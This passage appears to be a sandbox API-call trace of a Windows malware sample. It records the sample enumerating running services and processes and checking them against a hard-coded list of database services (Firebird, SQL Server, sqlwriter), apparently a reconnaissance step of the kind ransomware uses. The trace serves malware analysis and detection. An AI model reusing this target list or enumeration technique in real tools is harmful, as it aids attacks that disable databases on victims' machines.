returned -1 [0298.620] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0298.620] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0298.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0298.620] lstrlenW (lpString="Power") returned 5 [0298.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0298.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0298.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0298.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0298.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0298.620] lstrlenW (lpString="ProfSvc") returned 7 [0298.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0298.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0298.620] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0298.620] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0298.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0298.620] lstrlenW (lpString="RpcEptMapper") returned 12 [0298.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0298.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0298.621] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0298.621] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0298.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0298.621] lstrlenW (lpString="RpcSs") returned 5 [0298.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0298.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0298.621] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0298.621] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0298.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0298.621] lstrlenW (lpString="SamSs") returned 5 [0298.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0298.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0298.621] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0298.621] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0298.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0298.621] lstrlenW (lpString="Schedule") returned 8 [0298.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0298.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0298.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0298.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0298.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0298.621] lstrlenW (lpString="SecurityHealthService") returned 21 [0298.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0298.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0298.621] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0298.621] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0298.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0298.621] lstrlenW (lpString="SENS") returned 4 [0298.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0298.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0298.621] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0298.622] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0298.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0298.622] lstrlenW (lpString="ShellHWDetection") returned 16 [0298.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0298.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0298.622] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0298.622] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0298.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0298.633] lstrlenW (lpString="Spooler") returned 7 [0298.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0298.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0298.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0298.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0298.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0298.633] lstrlenW (lpString="SSDPSRV") returned 7 [0298.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0298.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0298.633] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0298.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0298.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0298.633] lstrlenW (lpString="StateRepository") returned 15 [0298.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0298.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0298.633] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0298.633] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0298.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0298.634] lstrlenW (lpString="SysMain") returned 7 [0298.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0298.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0298.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0298.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0298.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0298.634] lstrlenW (lpString="SystemEventsBroker") returned 18 [0298.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0298.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0298.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0298.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0298.634] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d0 [0298.639] Process32FirstW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.640] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0298.640] lstrlenW (lpString="System") returned 6 [0298.641] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0298.641] lstrlenW (lpString="smss.exe") returned 8 [0298.641] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.642] lstrlenW (lpString="csrss.exe") returned 9 [0298.642] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0298.643] lstrlenW (lpString="wininit.exe") returned 11 [0298.643] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.643] lstrlenW (lpString="csrss.exe") returned 9 [0298.643] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0298.644] lstrlenW (lpString="winlogon.exe") returned 12 [0298.644] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0298.645] lstrlenW (lpString="services.exe") returned 12 [0298.645] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0298.646] lstrlenW (lpString="lsass.exe") returned 9 [0298.646] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0298.646] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0298.646] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0298.647] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0298.647] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.648] lstrlenW (lpString="svchost.exe") returned 11 [0298.648] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.648] lstrlenW (lpString="svchost.exe") returned 11 [0298.648] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0298.649] lstrlenW (lpString="dwm.exe") returned 7 [0298.649] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.650] lstrlenW (lpString="svchost.exe") returned 11 [0298.650] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.651] lstrlenW (lpString="svchost.exe") returned 11 [0298.651] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.651] lstrlenW (lpString="svchost.exe") returned 11 [0298.651] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.652] lstrlenW (lpString="svchost.exe") returned 11 [0298.652] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.653] lstrlenW (lpString="svchost.exe") returned 11 [0298.653] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.653] lstrlenW (lpString="svchost.exe") returned 11 [0298.654] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.654] lstrlenW (lpString="svchost.exe") returned 11 [0298.654] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.655] lstrlenW (lpString="svchost.exe") returned 11 [0298.655] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.656] lstrlenW (lpString="svchost.exe") returned 11 [0298.656] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.656] lstrlenW (lpString="svchost.exe") returned 11 [0298.656] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0298.657] lstrlenW (lpString="spoolsv.exe") returned 11 [0298.657] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.658] lstrlenW (lpString="svchost.exe") returned 11 [0298.658] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0298.658] lstrlenW (lpString="audiodg.exe") returned 11 [0298.658] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0298.659] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0298.659] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0298.660] lstrlenW (lpString="Memory Compression") returned 18 [0298.660] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0298.660] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0298.660] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0298.661] lstrlenW (lpString="sihost.exe") returned 10 [0298.661] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.662] lstrlenW (lpString="svchost.exe") returned 11 [0298.662] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0298.663] lstrlenW (lpString="taskhostw.exe") returned 13 [0298.663] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0298.664] lstrlenW (lpString="msoia.exe") returned 9 [0298.664] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0298.665] lstrlenW (lpString="explorer.exe") returned 12 [0298.665] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0298.666] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0298.666] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0298.667] lstrlenW (lpString="SearchUI.exe") returned 12 [0298.667] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0298.733] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0298.733] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0298.733] lstrlenW (lpString="load0.exe") returned 9 [0298.733] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0298.734] lstrlenW (lpString="svchost.exe") returned 11 [0298.734] Process32NextW (in: hSnapshot=0x10d0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0298.735] CloseHandle (hObject=0x10d0) returned 1 [0298.735] Sleep (dwMilliseconds=0x1f4) [0299.262] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd828 [0299.263] EnumServicesStatusExW (in: hSCManager=0x7bd828, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0299.263] GetLastError () returned 0xea [0299.263] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0299.263] EnumServicesStatusExW (in: hSCManager=0x7bd828, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0299.264] CloseServiceHandle (hSCObject=0x7bd828) returned 1 [0299.264] lstrlenW (lpString="Appinfo") returned 7 [0299.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0299.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0299.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0299.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0299.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0299.264] lstrlenW (lpString="AppXSvc") returned 7 [0299.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0299.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0299.264] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0299.264] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0299.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0299.264] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0299.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0299.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0299.265] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0299.265] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0299.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0299.265] lstrlenW (lpString="Audiosrv") returned 8 [0299.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0299.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0299.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0299.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0299.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0299.265] lstrlenW (lpString="BFE") returned 3 [0299.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0299.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0299.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0299.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0299.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0299.265] lstrlenW (lpString="BITS") returned 4 [0299.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0299.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0299.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0299.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0299.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0299.265] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0299.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0299.265] lstrcmpiW 